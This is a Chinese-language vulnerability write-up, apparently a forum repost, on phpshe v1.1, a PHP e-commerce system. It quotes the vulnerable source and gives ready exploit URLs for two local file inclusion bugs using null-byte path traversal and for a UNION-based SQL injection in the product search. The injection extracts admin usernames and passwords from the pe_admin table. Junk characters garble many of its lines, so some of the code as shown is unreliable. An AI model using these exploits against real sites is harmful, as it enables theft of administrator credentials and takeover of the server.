phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
" y' e) y3 |9 T: I/ O  `3 b5 @4 \/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
  c/ T$ H. w0 C$ f4 e  l0×00 整体大概参数传输



//common.php
3 h: t% _- T. a7 iif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
* C, C  j( [7 z8 T, I  O!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
& u9 u8 t# M7 b6 y$ P) L; I7 belse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
( r3 k' M, C/ _1 B0 T$ L6 Q; s}
3 I! {' s) _( p1 S8 Jsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
; O. F$ Z6 u. Y3 r6 [$ J. j
0×01 包含漏洞
1 U6 ], `( a5 m
: A- y+ W% U% t! `
//首页文件
( v3 l# R- K9 F4 Y<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
0 _2 g, }7 c3 R7 E, W% g8 ~* v: pinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
* }1 j' y8 G; }pe_result();
% p3 B) S0 U* D" Y- S?>
//common 文件 第15行开始
$ c  d7 A# y: Eurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
* B  V' }& l) L. B9 ~$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
: T* C7 V+ E3 \/ g' j* r

$ J8 w# S0 c' R1 A! }% t9 h" b 0×02 搜索注入

. F1 c$ L1 b- w( W0 P3 o<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
, }4 ]5 J& g- c: C$ w: ^, A7 V$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
. f; ?+ L+ l# N7 Z4 B( X0 eif ($category_id) {
  }. t5 n! z+ h7 _7 ywhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
0 x+ r+ t( y: T# ~' J; N) n$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
" Z, Z4 e% P) [' H8 C0 X8 d3 O6 ?5 A; W$sqlwhere .= " order by `product_id` desc";
4 E6 I; _1 V( B9 I+ T6 J}
- o$ W4 U( R) M( q* D6 a$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
. t$ \, ^1 n; g3 o! e. {& I//热卖排行
5 G2 d9 a! ~% X$product_hotlist = product_hotlist();
/ j8 F1 n+ H; X: _) B: ]//当前路径
; D: \9 Y9 }$ `$nowpath = category_path($category_id);
7 J. X" |! z8 [8 j$ B! L$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
# f; w, }0 G" ^& n2 a$ Upublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
! l! e8 O* Y1 \//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

* _. B% @3 h( N6 n3 m; o6 l$order_id = pe_dbhold($_g_id);

0 s0 O; p( t0 W& z+ W$cache_payway = cache::get('payway');

1 R( ^& P' e1 [# Xforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

6 Z% G+ f+ U( Y: g}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

5 a; A0 V# b' t( Q# r4 a9 h- E3 ?if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

, k( J6 c/ d; C2 K7 G$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

  W+ U" t) p, L9 ~% C& h( @foreach ($info_list as $v) {

. r- u1 i7 C5 _5 q( @$order['order_name'] .= "{$v['product_name']};";
2 ]) y  i4 c8 r1 a* v6 V' p

}

echo '正在为您连接支付网站，请稍后...';

+ b$ ]" g0 h, r  g- D$ Z) f, _include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

* P$ Z( d& d& s2 ope_error('支付错误...');

" k# r  g" g8 l- D% P2 l. `}

}

6 r+ A! o8 k) o4 S5 B$seo = pe_seo('选择支付方式');

/ E9 u) n6 P' J+ |2 G6 R1 T! |include(pe_tpl('order_pay.html'));

) o' w( w4 v2 R' z1 k' Z6 Y- d) |break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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